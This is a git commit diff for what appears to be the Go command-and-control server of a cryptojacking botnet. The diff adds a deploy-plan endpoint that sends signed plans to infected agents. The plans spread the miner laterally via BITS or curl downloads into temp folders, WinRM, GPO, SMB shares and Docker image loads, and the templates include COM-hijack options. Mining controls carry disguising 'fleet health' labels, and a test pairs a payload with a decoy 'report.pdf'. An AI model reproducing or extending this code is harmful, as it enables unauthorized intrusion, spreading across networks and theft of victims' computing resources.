Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
75
server/internal/api/agent_ws_limiter_test.go
Normal file
75
server/internal/api/agent_ws_limiter_test.go
Normal file
@@ -0,0 +1,75 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func resetAgentWSRateLim(t *testing.T) {
|
||||
t.Helper()
|
||||
agentWSRateLim.mu.Lock()
|
||||
agentWSRateLim.attempts = make(map[string][]time.Time)
|
||||
agentWSRateLim.mu.Unlock()
|
||||
}
|
||||
|
||||
func TestAllowAgentWSUpgradeRateLimit(t *testing.T) {
|
||||
t.Run("rejects 31st attempt within window", func(t *testing.T) {
|
||||
resetAgentWSRateLim(t)
|
||||
ip := "203.0.113.42"
|
||||
|
||||
for i := 1; i <= agentWSRateLimitMax; i++ {
|
||||
if !allowAgentWSUpgrade(ip) {
|
||||
t.Fatalf("attempt %d: expected allow, got reject", i)
|
||||
}
|
||||
}
|
||||
if allowAgentWSUpgrade(ip) {
|
||||
t.Fatal("31st attempt: expected reject, got allow")
|
||||
}
|
||||
if allowAgentWSUpgrade(ip) {
|
||||
t.Fatal("32nd attempt: expected reject, got allow")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("empty IP bypasses limit", func(t *testing.T) {
|
||||
resetAgentWSRateLim(t)
|
||||
|
||||
for i := 1; i <= agentWSRateLimitMax+5; i++ {
|
||||
if !allowAgentWSUpgrade("") {
|
||||
t.Fatalf("empty IP attempt %d: expected allow, got reject", i)
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("stale attempts outside window are pruned", func(t *testing.T) {
|
||||
resetAgentWSRateLim(t)
|
||||
ip := "198.51.100.7"
|
||||
stale := time.Now().Add(-agentWSRateLimitWindow - time.Second)
|
||||
|
||||
agentWSRateLim.mu.Lock()
|
||||
staleAttempts := make([]time.Time, agentWSRateLimitMax)
|
||||
for i := range staleAttempts {
|
||||
staleAttempts[i] = stale
|
||||
}
|
||||
agentWSRateLim.attempts[ip] = staleAttempts
|
||||
agentWSRateLim.mu.Unlock()
|
||||
|
||||
if !allowAgentWSUpgrade(ip) {
|
||||
t.Fatal("expected allow after stale attempts pruned")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("different IPs have independent limits", func(t *testing.T) {
|
||||
resetAgentWSRateLim(t)
|
||||
ipA := "192.0.2.1"
|
||||
ipB := "192.0.2.2"
|
||||
|
||||
for i := 1; i <= agentWSRateLimitMax; i++ {
|
||||
if !allowAgentWSUpgrade(ipA) {
|
||||
t.Fatalf("ipA attempt %d: expected allow, got reject", i)
|
||||
}
|
||||
}
|
||||
if !allowAgentWSUpgrade(ipB) {
|
||||
t.Fatal("ipB first attempt: expected allow after ipA exhausted")
|
||||
}
|
||||
})
|
||||
}
|
||||
332
server/internal/api/deploy_plan.go
Normal file
332
server/internal/api/deploy_plan.go
Normal file
@@ -0,0 +1,332 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// StagingManifest mirrors agent/deploy.StagingManifest for signed supply-chain plans.
|
||||
type StagingManifest struct {
|
||||
Method string `json:"method"`
|
||||
Chunks []StagingChunk `json:"chunks"`
|
||||
SHA256 string `json:"sha256"`
|
||||
Dest string `json:"dest"`
|
||||
Launch string `json:"launch"`
|
||||
DLLExport string `json:"dll_export,omitempty"`
|
||||
Encoded bool `json:"encoded"`
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
}
|
||||
|
||||
type StagingChunk struct {
|
||||
URL string `json:"url"`
|
||||
File string `json:"file"`
|
||||
}
|
||||
|
||||
// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command.
|
||||
type DeployPlanBody struct {
|
||||
JoinLane string `json:"join_lane"`
|
||||
MatchedService string `json:"matched_service,omitempty"`
|
||||
Action string `json:"action"`
|
||||
Manifest *StagingManifest `json:"manifest,omitempty"`
|
||||
Script string `json:"script,omitempty"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||
}
|
||||
|
||||
type deployPlanRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
Campaign string `json:"campaign,omitempty"`
|
||||
Platform string `json:"platform"`
|
||||
Services []DeployServiceFinding `json:"services"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
}
|
||||
|
||||
type deployPlanResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
JoinLane string `json:"join_lane"`
|
||||
MatchedService string `json:"matched_service,omitempty"`
|
||||
Plan DeployPlanBody `json:"plan"`
|
||||
Signature string `json:"signature"`
|
||||
}
|
||||
|
||||
// DeployPlanHandler builds hash-verified, HMAC-signed join plans from service discovery.
|
||||
type DeployPlanHandler struct {
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
projectRoot string
|
||||
publicURL func() string
|
||||
fleetSecret func() string
|
||||
allowlist func() map[string]ServiceDeployLane
|
||||
}
|
||||
|
||||
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
|
||||
return &DeployPlanHandler{
|
||||
db: database,
|
||||
dataDir: dataDir,
|
||||
projectRoot: projectRoot,
|
||||
publicURL: publicURL,
|
||||
fleetSecret: fleetSecret,
|
||||
allowlist: allowlist,
|
||||
}
|
||||
}
|
||||
|
||||
// POST /api/v1/agent/deploy-plan
|
||||
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
|
||||
var req deployPlanRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if len(req.Services) == 0 {
|
||||
http.Error(w, "services required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
list := map[string]ServiceDeployLane{}
|
||||
if h.allowlist != nil {
|
||||
list = h.allowlist()
|
||||
}
|
||||
matched, lane, ok := PickDeployLane(req.Services, list)
|
||||
if !ok {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": false,
|
||||
"error": "no allowlisted running services matched",
|
||||
"checked": len(req.Services),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
plan, err := h.buildPlan(req, matched, lane)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
sig, err := signDeployPlan(plan, h.fleetSecret())
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, deployPlanResponse{
|
||||
OK: true,
|
||||
JoinLane: plan.JoinLane,
|
||||
MatchedService: matched,
|
||||
Plan: plan,
|
||||
Signature: sig,
|
||||
})
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lane ServiceDeployLane) (DeployPlanBody, error) {
|
||||
serverURL := strings.TrimRight(strings.TrimSpace(h.publicURL()), "/")
|
||||
if serverURL == "" {
|
||||
serverURL = "http://127.0.0.1:8989"
|
||||
}
|
||||
|
||||
body := DeployPlanBody{
|
||||
JoinLane: lane.Lane,
|
||||
MatchedService: matched,
|
||||
Action: lane.Lane,
|
||||
}
|
||||
|
||||
switch lane.Lane {
|
||||
case "bits_curl":
|
||||
manifest, err := h.buildStagingManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
case "docker_load":
|
||||
manifest, err := h.buildStagingManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.ImageTarURL = serverURL + "/api/v1/public/download/" + strings.TrimSpace(req.BuildID)
|
||||
if body.ImageTarURL != "" && req.BuildID != "" {
|
||||
if hash, err := h.buildFileSHA256(req.BuildID, req.Platform); err == nil && hash != "" {
|
||||
body.ImageTarSHA256 = hash
|
||||
}
|
||||
}
|
||||
case "winrm", "gpo", "linux_lotl":
|
||||
tpl := strings.TrimSpace(lane.Template)
|
||||
if tpl == "" {
|
||||
tpl = lane.Lane
|
||||
}
|
||||
script, err := h.renderSpreadTemplate(tpl, serverURL, req.BuildID, req.Campaign)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Script = script
|
||||
case "spread_smb_unc":
|
||||
body.UNCPath = strings.TrimSpace(req.UNCPath)
|
||||
body.MaxHosts = 64
|
||||
default:
|
||||
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
buildID := strings.TrimSpace(req.BuildID)
|
||||
build, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
hash, err := fileSHA256(build.FilePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("build hash: %w", err)
|
||||
}
|
||||
|
||||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||||
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
||||
|
||||
method := "bits"
|
||||
if platform == "linux" || platform == "darwin" {
|
||||
method = "curl"
|
||||
}
|
||||
|
||||
dest := `%TEMP%\AetherForge\worker.exe`
|
||||
if platform == "linux" {
|
||||
dest = "/tmp/aetherforge-worker"
|
||||
}
|
||||
|
||||
return &StagingManifest{
|
||||
Method: method,
|
||||
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
|
||||
SHA256: hash,
|
||||
Dest: dest,
|
||||
Launch: "exe",
|
||||
DeferMining: true,
|
||||
SpreadInstall: true,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) resolveBuild(buildID, platform string) (*models.BuildRecord, error) {
|
||||
if buildID != "" {
|
||||
b, err := h.db.GetBuild(buildID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
b, err := h.db.GetLatestBuildForPlatform(platform)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("no build for platform %q: %w", platform, err)
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) buildFileSHA256(buildID, platform string) (string, error) {
|
||||
b, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fileSHA256(b.FilePath)
|
||||
}
|
||||
|
||||
func fileSHA256(path string) (string, error) {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer f.Close()
|
||||
h := sha256.New()
|
||||
if _, err := io.Copy(h, f); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return hex.EncodeToString(h.Sum(nil)), nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) renderSpreadTemplate(template, serverURL, buildID, campaign string) (string, error) {
|
||||
subdir, _, err := spreadTemplatePaths(template)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
dir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("template dir: %w", err)
|
||||
}
|
||||
var scriptFile string
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if strings.HasSuffix(name, ".ps1") || strings.HasSuffix(name, ".sh") {
|
||||
scriptFile = filepath.Join(dir, name)
|
||||
break
|
||||
}
|
||||
}
|
||||
if scriptFile == "" {
|
||||
return "", fmt.Errorf("no script in template %s", subdir)
|
||||
}
|
||||
data, err := os.ReadFile(scriptFile)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": serverURL,
|
||||
"{{BUILD_ID}}": buildID,
|
||||
"{{CAMPAIGN}}": campaign,
|
||||
"{{QUERY_SUFFIX}}": querySuffix,
|
||||
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
||||
"{{COM_HIJACK}}": "false",
|
||||
"{{LOTL_MODE}}": "systemd_run_user",
|
||||
"{{AGENT_PATH}}": `C:\ProgramData\AetherForge\worker.exe`,
|
||||
}
|
||||
content := string(data)
|
||||
for k, v := range repl {
|
||||
content = strings.ReplaceAll(content, k, v)
|
||||
}
|
||||
return content, nil
|
||||
}
|
||||
|
||||
func signDeployPlan(plan DeployPlanBody, fleetSecret string) (string, error) {
|
||||
if fleetSecret == "" {
|
||||
return "", fmt.Errorf("fleet secret not configured")
|
||||
}
|
||||
payload, err := json.Marshal(plan)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||||
mac.Write(payload)
|
||||
return hex.EncodeToString(mac.Sum(nil)), nil
|
||||
}
|
||||
|
||||
// VerifyDeployPlanSignature validates an HMAC-SHA256 plan from the C2.
|
||||
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
|
||||
if fleetSecret == "" || signature == "" {
|
||||
return false
|
||||
}
|
||||
payload, err := json.Marshal(plan)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||||
mac.Write(payload)
|
||||
expected := hex.EncodeToString(mac.Sum(nil))
|
||||
return hmac.Equal([]byte(expected), []byte(signature))
|
||||
}
|
||||
@@ -554,6 +554,22 @@ type bulkCommandRequest struct {
|
||||
Command string `json:"command,omitempty"`
|
||||
}
|
||||
|
||||
// bulkCommandMeta adds fleet-health / power-management labels for mining control actions.
|
||||
func bulkCommandMeta(action string) (category, label string) {
|
||||
switch action {
|
||||
case "pause":
|
||||
return "power_management", "Power down hashing (fleet health job)"
|
||||
case "resume":
|
||||
return "power_management", "Restore hashing (fleet health job)"
|
||||
case "restart":
|
||||
return "power_management", "Restart mining workload"
|
||||
case "stop":
|
||||
return "power_management", "Stop agent process"
|
||||
default:
|
||||
return "", ""
|
||||
}
|
||||
}
|
||||
|
||||
func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
|
||||
if f.ws == nil {
|
||||
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
||||
@@ -590,12 +606,17 @@ func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
|
||||
sent++
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
resp := map[string]interface{}{
|
||||
"success": sent > 0,
|
||||
"sent": sent,
|
||||
"failed": failed,
|
||||
"action": req.Action,
|
||||
})
|
||||
}
|
||||
if category, label := bulkCommandMeta(req.Action); category != "" {
|
||||
resp["category"] = category
|
||||
resp["label"] = label
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
|
||||
|
||||
@@ -875,6 +875,29 @@ func TestFleetPostBulkCommandPartialSuccess(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetPostBulkCommandPowerManagementMeta(t *testing.T) {
|
||||
fh, _, ws, _ := newTestFleetHandler(t)
|
||||
connectTestAgent(t, ws, "pm-agent")
|
||||
|
||||
rec := httptest.NewRecorder()
|
||||
req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
|
||||
strings.NewReader(`{"agent_ids":["pm-agent"],"action":"pause"}`))
|
||||
fh.PostBulkCommand(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["category"] != "power_management" {
|
||||
t.Fatalf("category = %v", body["category"])
|
||||
}
|
||||
if body["label"] != "Power down hashing (fleet health job)" {
|
||||
t.Fatalf("label = %v", body["label"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetMinHelper(t *testing.T) {
|
||||
if min(3, 5) != 3 || min(5, 3) != 3 || min(4, 4) != 4 {
|
||||
t.Fatal("min helper wrong")
|
||||
|
||||
@@ -4,6 +4,7 @@ import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -32,8 +33,11 @@ func (h *Handler) GetDashboardStats(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
// GET /api/v1/agents
|
||||
// Optional query params: limit, offset, status (online|offline), subnet (e.g. 10.0.0.x).
|
||||
// When limit is set, response is {"agents":[],"total":N,"limit":L,"offset":O}; otherwise a plain array.
|
||||
func (h *Handler) ListAgents(w http.ResponseWriter, r *http.Request) {
|
||||
agents, err := h.db.ListAgents()
|
||||
filter, paginated := parseAgentListFilter(r)
|
||||
agents, err := h.db.ListAgentsFiltered(filter)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
@@ -41,7 +45,56 @@ func (h *Handler) ListAgents(w http.ResponseWriter, r *http.Request) {
|
||||
if agents == nil {
|
||||
agents = []*models.Agent{}
|
||||
}
|
||||
writeJSON(w, agents)
|
||||
if !paginated {
|
||||
writeJSON(w, agents)
|
||||
return
|
||||
}
|
||||
total, err := h.db.CountAgentsFiltered(filter)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"agents": agents,
|
||||
"total": total,
|
||||
"limit": filter.Limit,
|
||||
"offset": filter.Offset,
|
||||
})
|
||||
}
|
||||
|
||||
const (
|
||||
agentListDefaultLimit = 100
|
||||
agentListMaxLimit = 2000
|
||||
)
|
||||
|
||||
func parseAgentListFilter(r *http.Request) (db.AgentListFilter, bool) {
|
||||
limitStr := r.URL.Query().Get("limit")
|
||||
if limitStr == "" {
|
||||
return db.AgentListFilter{}, false
|
||||
}
|
||||
limit, err := strconv.Atoi(limitStr)
|
||||
if err != nil || limit <= 0 {
|
||||
limit = agentListDefaultLimit
|
||||
}
|
||||
if limit > agentListMaxLimit {
|
||||
limit = agentListMaxLimit
|
||||
}
|
||||
offset := 0
|
||||
if offStr := r.URL.Query().Get("offset"); offStr != "" {
|
||||
if o, err := strconv.Atoi(offStr); err == nil && o >= 0 {
|
||||
offset = o
|
||||
}
|
||||
}
|
||||
status := strings.TrimSpace(r.URL.Query().Get("status"))
|
||||
if status != "online" && status != "offline" {
|
||||
status = ""
|
||||
}
|
||||
return db.AgentListFilter{
|
||||
Limit: limit,
|
||||
Offset: offset,
|
||||
Status: status,
|
||||
Subnet: strings.TrimSpace(r.URL.Query().Get("subnet")),
|
||||
}, true
|
||||
}
|
||||
|
||||
// GET /api/v1/agents/{id}
|
||||
|
||||
@@ -2,6 +2,7 @@ package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
@@ -57,6 +58,71 @@ func TestListAgentsEmptyArray(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestListAgentsPaginated(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
for i := 0; i < 5; i++ {
|
||||
if err := h.db.UpsertAgent(&models.Agent{
|
||||
ID: fmt.Sprintf("agent-%d", i), Name: "n", Status: "online",
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents?limit=2&offset=1", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ListAgents(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var body struct {
|
||||
Agents []json.RawMessage `json:"agents"`
|
||||
Total int `json:"total"`
|
||||
Limit int `json:"limit"`
|
||||
Offset int `json:"offset"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(body.Agents) != 2 || body.Total != 5 || body.Limit != 2 || body.Offset != 1 {
|
||||
t.Fatalf("unexpected paginated body: %+v", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestListAgentsSubnetFilter(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
agents := []struct {
|
||||
id, ip string
|
||||
}{
|
||||
{"subnet-a", "10.0.1.10"},
|
||||
{"subnet-b", "10.0.2.20"},
|
||||
{"subnet-c", "192.168.1.5"},
|
||||
}
|
||||
for _, a := range agents {
|
||||
if err := h.db.UpsertAgent(&models.Agent{
|
||||
ID: a.id, Name: a.id, IP: a.ip, Status: "online",
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents?limit=50&subnet=10.0.1.x", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ListAgents(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var body struct {
|
||||
Agents []struct {
|
||||
ID string `json:"id"`
|
||||
} `json:"agents"`
|
||||
Total int `json:"total"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body.Total != 1 || len(body.Agents) != 1 || body.Agents[0].ID != "subnet-a" {
|
||||
t.Fatalf("unexpected subnet filter body: %+v", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetAgentStatsLimitCap(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/agents/missing-agent/stats?limit=5000", nil)
|
||||
|
||||
@@ -5,10 +5,12 @@ import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"mime/multipart"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
@@ -78,7 +80,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||
@@ -96,6 +98,130 @@ func serveAuthed(t *testing.T, router http.Handler, method, path string, body []
|
||||
return rec
|
||||
}
|
||||
|
||||
func serveAuthedMultipart(t *testing.T, router http.Handler, path string, body *bytes.Buffer, contentType string) *httptest.ResponseRecorder {
|
||||
t.Helper()
|
||||
req := httptest.NewRequest(http.MethodPost, path, bytes.NewReader(body.Bytes()))
|
||||
req.Header.Set("Content-Type", contentType)
|
||||
req.SetBasicAuth(testAuthUser, testAuthPass)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
return rec
|
||||
}
|
||||
|
||||
func integrationWorkspaceRoot(t *testing.T) string {
|
||||
t.Helper()
|
||||
dir, err := os.Getwd()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for i := 0; i < 10; i++ {
|
||||
if _, err := os.Stat(filepath.Join(dir, "agent", "go.mod")); err == nil {
|
||||
if _, err2 := os.Stat(filepath.Join(dir, "fusion", "main.go")); err2 == nil {
|
||||
return dir
|
||||
}
|
||||
}
|
||||
parent := filepath.Dir(dir)
|
||||
if parent == dir {
|
||||
break
|
||||
}
|
||||
dir = parent
|
||||
}
|
||||
t.Skip("workspace root (agent/ and fusion/) not found")
|
||||
return ""
|
||||
}
|
||||
|
||||
func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub, *db.Database, string) {
|
||||
t.Helper()
|
||||
dataDir := t.TempDir()
|
||||
seedTestUsers(t, dataDir)
|
||||
|
||||
database, err := db.New(dataDir)
|
||||
if err != nil {
|
||||
t.Fatalf("db: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { database.Close() })
|
||||
|
||||
wsHub := NewWSHub(database)
|
||||
cfg := &mockConfigProvider{}
|
||||
configHandler := NewConfigHandler(cfg)
|
||||
aiHandler := NewAIHandler(database)
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, filepath.Join(projectRoot, "agent"), projectRoot)
|
||||
installFakeGoSuccess(t, builderHandler)
|
||||
pathForgeHandler := builder.NewPathForgeHandler(dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
webRoot := filepath.Join(dataDir, "webroot")
|
||||
_ = os.MkdirAll(webRoot, 0755)
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {
|
||||
t.Helper()
|
||||
body := &bytes.Buffer{}
|
||||
mw := multipart.NewWriter(body)
|
||||
cfg, err := json.Marshal(builder.BuildRequest{
|
||||
WorkerName: "integration-fusion",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "48abc",
|
||||
TargetOS: "windows",
|
||||
FusionEnabled: true,
|
||||
FusionMediaMode: "paired",
|
||||
FusionPayloadKind: "file",
|
||||
FusionMediaBaseName: "report.pdf",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := mw.WriteField("config", string(cfg)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
part, err := mw.CreateFormFile("prep_exe", "report.pdf")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := part.Write([]byte("%PDF-1.4 integration")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
contentType := mw.FormDataContentType()
|
||||
if err := mw.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return body, contentType
|
||||
}
|
||||
|
||||
func installFakeGoSuccess(t *testing.T, h *builder.Handler) {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
if runtime.GOOS == "windows" {
|
||||
p := filepath.Join(dir, "go-ok.bat")
|
||||
script := "@echo off\r\nsetlocal EnableDelayedExpansion\r\nset \"OUT=\"\r\n" +
|
||||
":loop\r\nif \"%~1\"==\"\" goto done\r\nif /I \"%~1\"==\"-o\" (\r\n" +
|
||||
" set \"OUT=%~2\"\r\n shift\r\n shift\r\n goto loop\r\n)\r\n" +
|
||||
"shift\r\ngoto loop\r\n:done\r\n" +
|
||||
"if defined OUT (\r\n" +
|
||||
" for %%I in (\"!OUT!\") do if not exist \"%%~dpI\" mkdir \"%%~dpI\" 2>nul\r\n" +
|
||||
" echo fake>\"!OUT!\"\r\n" +
|
||||
")\r\nexit /b 0\r\n"
|
||||
if err := os.WriteFile(p, []byte(script), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h.SetGoBinPath(p)
|
||||
return
|
||||
}
|
||||
p := filepath.Join(dir, "go-ok.sh")
|
||||
script := "#!/bin/sh\nOUT=\"\"\nwhile [ $# -gt 0 ]; do\n" +
|
||||
" if [ \"$1\" = \"-o\" ]; then OUT=\"$2\"; shift; fi\n shift\n" +
|
||||
"done\nif [ -n \"$OUT\" ]; then mkdir -p \"$(dirname \"$OUT\")\"; echo fake > \"$OUT\"; fi\nexit 0\n"
|
||||
